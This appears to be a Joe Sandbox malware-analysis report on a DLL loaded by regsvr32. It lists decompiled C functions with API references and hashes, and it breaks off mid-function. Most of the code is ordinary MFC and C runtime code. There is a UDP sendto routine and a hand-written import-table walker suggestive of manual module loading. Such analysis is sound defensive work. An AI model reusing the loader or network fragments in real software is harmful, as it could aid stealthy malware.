Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWrite_swprintf
String ID:
API String ID: 4210924919-0
Opcode ID: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction ID: 30a1eb16c1be1d822a6ca59f9e75d62d608c78195c8382286e316af6553577e2
Opcode Fuzzy Hash: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction Fuzzy Hash: 25018076900219BBDB00DF648C85FAF77BCEF48754F104469FA01AB181DA74E94597A4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B244, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000B244(void* __ecx, void* __edi, void* __ebp, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* _t16;
				int _t17;
				int _t18;
				struct HWND__* _t19;
				intOrPtr _t25;
				intOrPtr _t33;
				void* _t35;

				_t32 = __edi;
				_t35 = __ecx;
				_t25 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t25 == 0) {
					__eflags =  *((intOrPtr*)(__ecx + 0x14));
					if(__eflags == 0) {
						L3:
						_t17 = E1000A0DB(0, _t25, _t32, _t35, _t39);
						L4:
						asm("sbb edx, edx");
						_t18 = EnableMenuItem( *(_t25 + 4), _t17, ( ~_a4 & 0xfffffffd) + 0x00000003 | 0x00000400);
						L11:
						 *((intOrPtr*)(_t35 + 0x18)) = 1;
						return _t18;
					}
					__eflags = _a4;
					if(_a4 == 0) {
						_push(__edi);
						_t33 =  *((intOrPtr*)(__ecx + 0x14));
						_t19 = GetFocus();
						__eflags = _t19 -  *(_t33 + 0x20);
						if(_t19 ==  *(_t33 + 0x20)) {
							SendMessageA( *(E1000FB5C(0, _t25, __ebp, GetParent( *(_t33 + 0x20))) + 0x20), 0x28, 0, 0);
						}
					}
					_t18 = E10012913( *((intOrPtr*)(_t35 + 0x14)), _a4);
					goto L11;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					_t17 =  *(__ecx + 8);
					_t39 = _t17 -  *((intOrPtr*)(__ecx + 0x20));
					if(_t17 <  *((intOrPtr*)(__ecx + 0x20))) {
						goto L4;
					}
					goto L3;
				}
				return _t16;
			}

0x1000b244
0x1000b246
0x1000b248
0x1000b24f
0x1000b284
0x1000b287
0x1000b25e
0x1000b25e
0x1000b263
0x1000b269
0x1000b27c
0x1000b2c7
0x1000b2c7
0x00000000
0x1000b2c7
0x1000b289
0x1000b28d
0x1000b28f
0x1000b290
0x1000b293
0x1000b299
0x1000b29c
0x1000b2b4
0x1000b2b4
0x1000b2ba
0x1000b2c2
0x00000000
0x1000b2c2
0x1000b254
0x1000b256
0x1000b259
0x1000b25c
0x00000000
0x00000000
0x00000000
0x1000b25c
0x1000b2d0

APIs

EnableMenuItem.USER32 ref: 1000B27C

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetFocus.USER32 ref: 1000B293
GetParent.USER32(?), ref: 1000B2A1
SendMessageA.USER32 ref: 1000B2B4

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: EnableException@8FocusH_prolog3ItemMenuMessageParentSendThrow
String ID:
API String ID: 3849708097-0
Opcode ID: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction ID: 6f1bf2e13571d4607552996c72993327e3919edcc1f96bcd7a145644f4ad6856
Opcode Fuzzy Hash: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction Fuzzy Hash: FB115B71500A11AFE720DF64CCC9D1EBBF6FF893A5B118A2DF186869A8C731AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001044A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001044A(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E1000FB83(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E1001016F(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E1001044A(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

0x1001044a
0x1001044a
0x10010452
0x10010458
0x100104bb
0x100104bb
0x100104bf
0x00000000
0x00000000
0x1001045c
0x10010460
0x1001048a
0x10010462
0x10010463
0x10010468
0x1001046a
0x1001046c
0x1001046f
0x10010472
0x10010475
0x10010478
0x10010479
0x10010479
0x1001046a
0x10010490
0x10010494
0x10010497
0x10010499
0x1001049b
0x100104ad
0x100104ad
0x1001049b
0x100104b5
0x100104b5
0x100104c4

APIs

GetTopWindow.USER32(00000000), ref: 10010458
GetTopWindow.USER32(00000000), ref: 10010497
GetWindow.USER32(00000000,00000002), ref: 100104B5

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction ID: cb0d0bbe13ee34529c330f041d0b53c98759dff42d13bab1c22f515cd31b8fc3
Opcode Fuzzy Hash: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction Fuzzy Hash: CD01257620061ABBDF12DF908C44E9F3A6AEF08390F018014FE8458060C7B6D9A2EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 100223DD, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100223DD(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t29;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E10021CDA(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E10021DC6(_t28, _t29, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E100222E5(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E1002222C(_t29, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x100223dd
0x100223e0
0x100223e6
0x10022459
0x00000000
0x100223ed
0x100223ed
0x100223f0
0x1002240b
0x1002240e
0x1002242e
0x10022440
0x10022410
0x10022410
0x10022413
0x00000000
0x10022415
0x10022427
0x10022427
0x10022413
0x1002245e
0x10022462
0x100223f2
0x1002240a
0x1002240a
0x100223f0

APIs

__cftof_l.LIBCMT ref: 10022401

Part of subcall function 1002222C: __fltout2.LIBCMT ref: 10022256

__cftog_l.LIBCMT ref: 10022427
__cftoe_l.LIBCMT ref: 10022459

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 8dbc0b72f00ea763734ae0c8b1a7260823f108f727578f4f2c9ad294c4834352
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4201287A40014ABBCF12AEC4EC41CEE3F66FB18294B958515FE1858531D236D9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1000FE47, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000FE47(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				void* _t18;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E1000FE47(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E1000FB5C(_t13, _t14, _t18);
						}
						_t10 = E1000FB83(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E1000FE47(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

0x1000fe47
0x1000fe47
0x1000fe52
0x1000fe58
0x1000fe5e
0x1000fe62
0x1000fe92
0x1000fe95
0x1000feb2
0x1000feb2
0x1000feb4
0x1000feb6
0x00000000
0x00000000
0x1000fea0
0x1000fea5
0x1000fea7
0x1000feac
0x00000000
0x1000feac
0x00000000
0x1000fea7
0x1000fe64
0x1000fe69
0x1000fe7b
0x1000fe7f
0x1000fe80
0x00000000
0x1000fe82
0x1000fe89
0x1000fe8e
0x1000fe90
0x00000000
0x00000000
0x1000fe6b
0x1000fe72
0x1000fe79
0x00000000
0x00000000
0x1000fe79
0x1000fe69
0x1000febb
0x1000febb

APIs

GetDlgItem.USER32 ref: 1000FE52
GetTopWindow.USER32(00000000), ref: 1000FE65

Part of subcall function 1000FE47: GetWindow.USER32(00000000,00000002), ref: 1000FEAC

GetTopWindow.USER32(?), ref: 1000FE95

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction ID: 3243c1bb31c4da8a8ed3b9d60ce207d24ba739ee5e1db1414c8eeda74806f304
Opcode Fuzzy Hash: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction Fuzzy Hash: 07018F374016AAB7EB229F60CC00AAF3A98EF447D0F018018FD049153AD731DA12BAA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001D6BC, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E1001D6BC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1002fae0);
				E1001984C(__ebx, __edi, __esi);
				_t31 = E1001BF79(__edx, __edi, _t35);
				_t15 =  *0x1005826c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E1001A549(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x10058170; // 0x29112e8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x10057d48;
								if(__eflags != 0) {
									_push(_t33);
									E10016380(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x10058170; // 0x29112e8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x10058170; // 0x29112e8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E1001D757();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E10017DA6(_t25, _t29, _t31, 0x20);
				}
				return E10019891(_t33);
			}

0x1001d6bc
0x1001d6bc
0x1001d6bc
0x1001d6bc
0x1001d6be
0x1001d6c3
0x1001d6cd
0x1001d6cf
0x1001d6d7
0x1001d6f8
0x1001d6fe
0x1001d702
0x1001d705
0x1001d708
0x1001d70e
0x1001d710
0x1001d712
0x1001d715
0x1001d71b
0x1001d71d
0x1001d71f
0x1001d725
0x1001d727
0x1001d728
0x1001d72d
0x1001d725
0x1001d71d
0x1001d72e
0x1001d733
0x1001d736
0x1001d73c
0x1001d740
0x1001d740
0x1001d746
0x1001d74d
0x1001d6df
0x1001d6df
0x1001d6df
0x1001d6e4
0x1001d6e8
0x1001d6ed
0x1001d6f5

APIs

Part of subcall function 1001BF79: __getptd_noexit.LIBCMT ref: 1001BF7A
Part of subcall function 1001BF79: __amsg_exit.LIBCMT ref: 1001BF87

__amsg_exit.LIBCMT ref: 1001D6E8
__lock.LIBCMT ref: 1001D6F8
InterlockedDecrement.KERNEL32(?), ref: 1001D715
InterlockedIncrement.KERNEL32(029112E8), ref: 1001D740

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction ID: ba7e7af5003a78fddfad0021ce05134b2f36e9a59f0d2c47ef46babd1389d2ef
Opcode Fuzzy Hash: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction Fuzzy Hash: 95016D39904A21EBEB41FB65988679D77A4FF05790F11410AE804AF291DB34E9C2CB95

Uniqueness

Uniqueness Score: -1.00%

Function 10001360, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E10001360(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				short _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				signed int _t15;
				short _t18;
				intOrPtr _t31;
				signed int _t33;

				_t15 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t15 ^ _t33;
				_v28 = __ecx;
				_t18 = E100174D0(_t31,  &_v24, 0, 0x10);
				_v24 = 2;
				__imp__#11(_a4);
				_v20 = _t18;
				__imp__#9(_a8);
				_v22 = _t18;
				__imp__#20(_a12, _a16, 0,  &_v24, 0x10);
				return E100167D5(_v28, __ebx, _v8 ^ _t33, _a12, _t31, __esi,  *((intOrPtr*)(_v28 + 0x24)));
			}

0x10001366
0x1000136d
0x10001370
0x1000137b
0x10001383
0x1000138d
0x10001393
0x1000139b
0x100013a1
0x100013bc
0x100013cf

APIs

_memset.LIBCMT ref: 1000137B
inet_addr.WS2_32(?), ref: 1000138D
htons.WS2_32(?), ref: 1000139B
sendto.WS2_32(?,?,00000002,00000000,00000002,00000010), ref: 100013BC

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: _memsethtonsinet_addrsendto
String ID:
API String ID: 1158618643-0
Opcode ID: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction ID: 4ca8e198367322d4385a70dad1c3d41f0382a071c465ebc2c9307440f54d584b
Opcode Fuzzy Hash: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction Fuzzy Hash: D0017CB590020DABDB00DFA4CC86EAE77B8FF48300F104419F905AB281EB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCD3, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCD3() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E10012913(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E1000C6E6(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E10017C60(_t16);
			}

0x1000ccd3
0x1000ccd6
0x1000ccde
0x1000cce4
0x1000cce4
0x1000ccec
0x1000ccf3
0x1000ccf3
0x1000ccfc
0x1000ccfe
0x1000cd04
0x1000cd07
0x1000cd0c
0x1000cd0c
0x1000cd07
0x1000cd16
0x1000cd1b
0x1000cd23
0x1000cd28
0x1000cd28
0x1000cd2e
0x1000cd36

APIs

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,CE1C5B24), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,CE1C5B24), ref: 1000CD28

Part of subcall function 10012913: EnableWindow.USER32(?,CE1C5B24), ref: 10012920

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction ID: b9d50a594c6b72ab84edc47d27728691b22d7b2ae70339502ef362fb55dd66ce
Opcode Fuzzy Hash: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction Fuzzy Hash: 97F04F3890071DDBEF12DB64C98599DBBF2FF48781B60002AE442722A5CB326D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1000AD21, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000AD21(void* __ecx) {
				signed int _v8;
				char _v16;
				char _v18;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				long _t14;
				intOrPtr _t15;
				char* _t18;
				intOrPtr _t21;
				intOrPtr _t33;
				signed int _t36;

				_t11 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t11 ^ _t36;
				_t35 = 0x104;
				_t14 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t14 == 0 || _t14 == 0x104) {
					L4:
					_t15 = 0;
					__eflags = 0;
				} else {
					_t18 = PathFindExtensionA( &_v280);
					_t35 = "%s.dll";
					asm("movsd");
					asm("movsw");
					_t32 =  &_v280;
					_t41 = _t18 -  &_v280 + 7 - 0x106;
					asm("movsb");
					_t33 = _t33;
					if(_t18 -  &_v280 + 7 > 0x106) {
						goto L4;
					} else {
						E1000A7B3(_t21,  &_v280, _t33, "%s.dll", _t36, _t18,  &_v18 - _t18,  &_v16);
						_t15 = E1000AA3A(_t21,  &_v280, _t33, "%s.dll", _t41,  &_v280);
					}
				}
				return E100167D5(_t15, _t21, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000ad2a
0x1000ad31
0x1000ad37
0x1000ad47
0x1000ad4f
0x1000ada6
0x1000ada6
0x1000ada6
0x1000ad55
0x1000ad5d
0x1000ad63
0x1000ad6b
0x1000ad6c
0x1000ad70
0x1000ad7b
0x1000ad81
0x1000ad82
0x1000ad83
0x00000000
0x1000ad85
0x1000ad90
0x1000ad9f
0x1000ad9f
0x1000ad83
0x1000adb4

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 1000AD47
PathFindExtensionA.SHLWAPI(?), ref: 1000AD5D

Part of subcall function 1000A7B3: _strcpy_s.LIBCMT ref: 1000A7BF

Part of subcall function 1000AA3A: __EH_prolog3.LIBCMT ref: 1000AA59
Part of subcall function 1000AA3A: GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
Part of subcall function 1000AA3A: GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40

Strings

%s.dll, xrefs: 1000AD63

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3HandlePath_strcpy_s
String ID: %s.dll
API String ID: 3444012488-3668843792
Opcode ID: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction ID: a3b0371864cf8cb86b39257a88ab5a21b33b2e0076ae9bf6281b2400efea00f1
Opcode Fuzzy Hash: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction Fuzzy Hash: AD01F972A00018AFEF08DB74CD45DEE73B8DF46740F4102AAE906D3544EA70AB848662

Uniqueness

Uniqueness Score: -1.00%

Function 10002670, Relevance: 5.2, APIs: 4, Instructions: 181
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002670(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t133;
				intOrPtr _t138;
				void* _t202;
				void* _t203;

				_v44 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v16 = 1;
				_v12 =  *_a4 + 0x80;
				if( *((intOrPtr*)(_v12 + 4)) != 0) {
					_v8 = _v20 +  *_v12;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t114 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x1c))))(_v20 +  *((intOrPtr*)(_v8 + 0xc)),  *((intOrPtr*)(_a4 + 0x28)));
						_t203 = _t202 + 8;
						_v36 = _t114;
						if(_v36 != 0) {
							_t116 = E10001F00( *((intOrPtr*)(_a4 + 8)), 4 +  *(_a4 + 0xc) * 4);
							_t202 = _t203 + 8;
							_v28 = _t116;
							if(_v28 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v28;
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) +  *(_a4 + 0xc) * 4)) = _v36;
